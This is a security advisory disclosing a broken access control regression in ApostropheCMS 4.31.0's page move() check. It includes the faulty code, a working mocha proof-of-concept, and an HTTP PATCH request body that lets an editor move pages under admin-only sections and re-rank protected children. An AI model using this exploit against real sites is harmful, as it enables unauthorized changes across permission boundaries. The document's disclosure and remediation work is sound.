GHSA-wr5r-wqp2-x4fh

## Summary ApostropheCMS enforces per-type authorization on pages: a page type may declare `editRole` / `publishRole` (and the core `@apostrophecms/archive-page` does), so a project can have page-type subtrees that only higher-privileged roles are allowed to create or edit within. The `move()` operation is supposed to enforce that a page may only be moved *into* a parent the actor has **create** rights over — this is the same boundary the page-insert route enforces (the insert target is fetched with `.permission('create')`). A regression in the move authorization guard silently disabled that destination check for every normal move. The guard now reads `(oldParent._id !== parent._id) && (parent.type !== '@apostrophecms/archive-page') && (!parent._create) && (oldParent.type === '@apostrophecms/archive-page' && !parent._edit)`. Because the final `&&` clause requires `oldParent.type === '@apostrophecms/archive-page'`, the whole conjunction can only be true while restoring a page *out of the archive*. For any ordinary move (the source page's old parent is a normal page), that clause is `false`, the entire condition is `false`, and `!parent._create` is never evaluated. The only surviving gate in the whole path is `moved._edit` — i.e. "can the actor edit the page being moved", which a low-privileged editor legitimately holds for their own ordinary pages. The result is that any authenticated user who can edit at least one page can relocate that page **under a parent of a restricted type they have no create/edit rights over**, and in doing so trigger an unauthenticated, unchecked `updateMany` that re-ranks the restricted parent's existing children (documents the actor cannot edit). This is reachable directly from the documented `PATCH`/`PUT /api/v1/@apostrophecms/page/:_id` REST routes via the attacker-controlled `_targetId` / `_position` body fields. ## Affected code (4.31.0) The broken guard in `move()` — `packages/apostrophe/modules/@apostrophecms/page/index.js`: ```js if (!moved._edit) { throw self.apos.error('forbidden'); } if (!(parent && oldParent)) { // Move outside tree throw self.apos.error('forbidden'); } if ( (oldParent._id !== parent._id) && (parent.type !== '@apostrophecms/archive-page') && (!parent._create) && (oldParent.type === '@apostrophecms/archive-page' && !parent._edit) // <-- regression: gates the whole check on "moving out of the archive" ) { throw self.apos.error('forbidden'); } ``` The target/parent is fetched with permission filtering explicitly OFF (so the guard above is the *only* thing that is supposed to enforce destination authorization) — `getTarget()`: ```js const target = await self.findForEditing(_req, criteria) .permission(false) // target is located regardless of the actor's rights .archived(null) .areas(false) .ancestors({ depth: 1, ... permission: false }) .children({ depth: 1, ... permission: false }).toObject(); ``` The privileged sink that then runs unguarded — `nudgeNewPeers()` re-ranks the destination parent's existing children with a raw DB write and no permission check: ```js async function nudgeNewPeers() { const locale = moved.aposLocale.split(':')[0]; const criteria = { path: self.matchDescendants(parent), aposLocale: { $in: [ `${locale}:draft`, `${locale}:published` ] }, level: parent.level + 1, rank: { $gte: rank } }; // Nudge down the pages that should now follow us await self.apos.doc.db.updateMany(criteria, { $inc: { rank: 1 } }); ... } ``` The REST entry point — the `patch` route reaches `move()` after only the `moved._edit` gate, with attacker-controlled `_targetId` / `_position`: ```js const page = await self.findOneForEditing(req, { _id }); ... if (!page._edit) { throw self.apos.error('forbidden'); } ... if (input._targetId) { const targetId = self.apos.launder.string(input._targetId); const position = self.apos.launder.string(input._position); modified = await self.move(req, page._id, targetId, position); } ``` For comparison, the sibling page-**insert** route enforces the destination boundary correctly by fetching the target with create-permission filtering, so an actor without create rights under the target gets `notfound`: ```js // post route (insert) const target = await self.getTarget(req, ...).permission('create') ... // restricted target is not found -> insert denied ``` ### Provenance (introduced regression) The guard was correct until commit `9f72bd229be07e537a2ae894f4527f2fe6bcd3bd` ("allow restore pages"), which changed it from `(oldParent._id !== parent._id) && (parent.type !== '@apostrophecms/archive-page') && (!parent._create)` to the four-clause version above. The intent was to stop legitimate *archive restores* (where `parent._create` can be false) from being wrongly forbidden, but ANDing the new clause onto the existing chain gated the entire `_create` enforcement on `oldParent` being the archive — silently removing destination authorization for all normal moves. The condition is unchanged at HEAD (4.31.0). ## Attacker model / precondition The attacker is a low-privileged but content-editing authenticated user — in the core role model an `editor` or (in draft mode) a `contributor` — who can edit at least one ordinary page. No admin rights, no special tokens. The differentiated-permission boundary that makes this a *bypass* must exist in the project. In core, `permission.can(req, 'create'/'edit', type)` is computed per page-type via `checkRoleConfig('editRole')`, so the boundary is present whenever a project configures a page type (or the archive) with an `editRole` / `publishRole` higher than the actor's role, or uses per-page `editPermission` / the `@apostrophecms/workflow` add-on to make `_edit` / `_create` page-specific. The core `@apostrophecms/archive-page` already ships `editRole: 'admin'` / `publishRole: 'admin'`, and restricted section page types are a standard pattern. On a single-role site where every editor can already edit every page, the boundary does not exist and there is no additional impact — hence Medium, not High, in the general case. Where the boundary exists, this is a cross-boundary tree-restructuring and protected-sibling-mutation bypass. ## Impact A user with no create/edit rights over a restricted page-type subtree can: - Relocate a page they control **into** that restricted subtree (placing their content beneath an admin-only/role-gated section, changing its URL/slug to inherit the protected branch's path, and altering site structure across an authorization boundary), and - Cause an unchecked `updateMany` to **re-rank the restricted parent's existing children** — i.e. mutate (reorder) documents the actor is explicitly not permitted to edit. This is an integrity / authorization-boundary violation. It does not, by itself, disclose restricted field contents (read access is still filtered elsewhere) — confidentiality impact is None — and it is not a remote code or availability bug. The security consequence is unauthorized modification of protected content structure/ordering and unauthorized placement of content inside a role-gated branch. ## Proof of Concept (complete — runs on 127.0.0.1 only) The PoC uses ApostropheCMS's own test harness (a real Apostrophe instance + MongoDB) to drive the real `apos.page.move()` code path with a non-admin `editor` request. It creates an admin-only section page type (`editRole: 'admin'`), an admin-owned `secret` section with a pre-existing admin-only child, and an ordinary page an editor may edit; the editor then moves their page under the admin-only section. The move succeeds (it must be forbidden), the page is relocated under the restricted branch, and the protected child is re-ranked. Environment: Node 24, Docker (for MongoDB). Clone the repo at the anchor and install the workspace with pnpm. ```bash # 1. Disposable MongoDB on 127.0.0.1 docker run -d --name apos-mongo -p 27017:27017 mongo:7 # 2. Repo at the anchor git clone https://github.com/apostrophecms/apostrophe.git /tmp/dh-apostrophe cd /tmp/dh-apostrophe git checkout 68f1312d3 # 4.31.0 line npm i -g pnpm pnpm install --filter apostrophe... # 3. Drop in the PoC test and run it cd /tmp/dh-apostrophe/packages/apostrophe # (write test/poc-move-bac.js below, then:) npx mocha test/poc-move-bac.js ``` `packages/apostrophe/test/poc-move-bac.js`: ```js // PoC: Broken Access Control in apos.page.move() // A non-admin (editor) can move a page they may edit UNDER a parent page // whose type is admin-only (editRole: 'admin'), bypassing the destination // "create" permission check that move() is supposed to enforce. const t = require('../test-lib/test.js'); const assert = require('assert'); describe('PoC move BAC', function() { let apos; this.timeout(t.timeout); after(async function() { await t.destroy(apos); apos = null; }); before(async function() { apos = await t.create({ root: module, modules: { // A restricted page type: only admins may edit/create pages of this type. 'secret-page': { extend: '@apostrophecms/page-type', options: { editRole: 'admin', publishRole: 'admin' } }, // An ordinary page type any editor can edit/create. 'public-page': { extend: '@apostrophecms/page-type' }, '@apostrophecms/page': { options: { park: [], types: [ { name: '@apostrophecms/home-page', label: 'Home' }, { name: 'secret-page', label: 'Secret' }, { name: 'public-page', label: 'Public' } ] } } } }); }); it('demonstrates the BAC', async function() { const adminReq = apos.task.getReq({ role: 'admin' }); const home = await apos.page.find(adminReq, { level: 0 }).toObject(); // Admin creates an admin-only "secret" section page directly under home. const secret = await apos.page.insert(adminReq, home._id, 'lastChild', { title: 'Secret Section', type: 'secret-page', slug: '/secret' }); // Admin creates a pre-existing CHILD inside the secret section. Its rank // must NOT be silently rewritten by a lower-priv user's move. const secretChild = await apos.page.insert(adminReq, secret._id, 'lastChild', { title: 'Secret Child', type: 'secret-page', slug: '/secret/child' }); const secretChildBefore = await apos.page.find(adminReq, { _id: secretChild._id }).toObject(); // A non-admin EDITOR. Editors can edit/create ordinary pages but NOT // pages of type secret-page (editRole: admin). const editorReq = apos.task.getReq({ role: 'editor', user: { _id: 'editor-user', title: 'Editor', role: 'editor' } }); // The editor creates an ordinary page under home (allowed). const mine = await apos.page.insert(editorReq, home._id, 'lastChild', { title: 'My Page', type: 'public-page', slug: '/mine' }); // Sanity: confirm the editor genuinely lacks create/edit rights on the // secret section (so a move under it MUST be forbidden). const secretForEditor = await apos.page.find(editorReq, { _id: secret._id }) .permission(false).toObject(); console.log('PRECONDITION editor._create on secret =', secretForEditor._create, ' editor._edit on secret =', secretForEditor._edit); assert.strictEqual(secretForEditor._create, undefined, 'precondition: editor must NOT have create rights on the admin-only section'); // THE ATTACK: editor moves their ordinary page UNDER the admin-only // secret section. This SHOULD throw "forbidden". If it succeeds, BAC. // Use 'firstChild' so the moved page takes rank 0 and the pre-existing // admin-only child must be nudged from rank 0 -> 1 (a write to a doc the // editor cannot edit). let moveError = null; try { await apos.page.move(editorReq, mine._id, secret._id, 'firstChild'); } catch (e) { moveError = e; } const moved = await apos.page.find(adminReq, { _id: mine._id }).toObject(); const secretChildAfter = await apos.page.find(adminReq, { _id: secretChild._id }).toObject(); console.log('move threw:', moveError ? moveError.name : 'NOTHING (move succeeded)'); console.log('moved page path:', moved && moved.path); console.log('moved page is now under secret?', moved && moved.path.includes(secret.aposDocId)); console.log('secret child rank BEFORE:', secretChildBefore.rank, ' AFTER:', secretChildAfter.rank); // Assertions that prove the vulnerability: assert.strictEqual(moveError, null, 'VULN NOT PRESENT: move was correctly forbidden'); assert.ok(moved.path.includes(secret.aposDocId), 'VULN: editor relocated their page under the admin-only section'); assert.notStrictEqual(secretChildAfter.rank, secretChildBefore.rank, 'VULN: editor re-ranked an admin-only sibling page they cannot edit'); console.log('\n*** BROKEN ACCESS CONTROL CONFIRMED: editor moved a page under an admin-only section and re-ranked its protected children ***'); }); }); ``` Observed output (4.31.0, commit `68f1312d3`): ``` PoC move BAC Listening at http://localhost:34129 PRECONDITION editor._create on secret = undefined editor._edit on secret = undefined move threw: NOTHING (move succeeded) moved page path: iqhgqffcpe3iwoe7qqvr79rx/l0ua8mfilcfdp38vduhj4684/szhq36qak65mnefb5va1cv4d moved page is now under secret? true secret child rank BEFORE: 0 AFTER: 1 *** BROKEN ACCESS CONTROL CONFIRMED: editor moved a page under an admin-only section and re-ranked its protected children *** ✔ demonstrates the BAC (390ms) 1 passing (6s) ``` The precondition holds (`editor._create on secret = undefined`), the move did not throw (`NOTHING`), the editor's page is now physically under the admin-only section's path, and the protected sibling's rank was rewritten (0 → 1) by the editor's request. In a deployed site the identical effect is reachable over HTTP by a logged-in non-admin via `PATCH /api/v1/@apostrophecms/page/<myPageId>:en:draft` with body `{ "_targetId": "<restrictedSectionId>:en:draft", "_position": "firstChild" }` (the route reaches `move()` after only the `page._edit` gate on the moved page). ## Remediation Restore destination-parent authorization for all non-archive moves and special-case only the archive-restore path. Replace the broken guard with logic equivalent to: ```js if ( (oldParent._id !== parent._id) && (parent.type !== '@apostrophecms/archive-page') && (!parent._create) && !(oldParent.type === '@apostrophecms/archive-page' && parent._edit) ) { throw self.apos.error('forbidden'); } ``` That is: a cross-parent move into a non-archive destination is forbidden unless the actor has `create` on the destination — with the single exception that restoring a page *out of the archive* into a destination the actor may `edit` is allowed. Equivalently, fetch the destination with `.permission('create')` (as the insert route does) and reject when it is not returned. Add a regression test asserting that a non-admin cannot move a page under a parent whose type carries a higher `editRole`/`publishRole`, mirroring the PoC above. Please credit 5ud0 / Tarmo Technologies.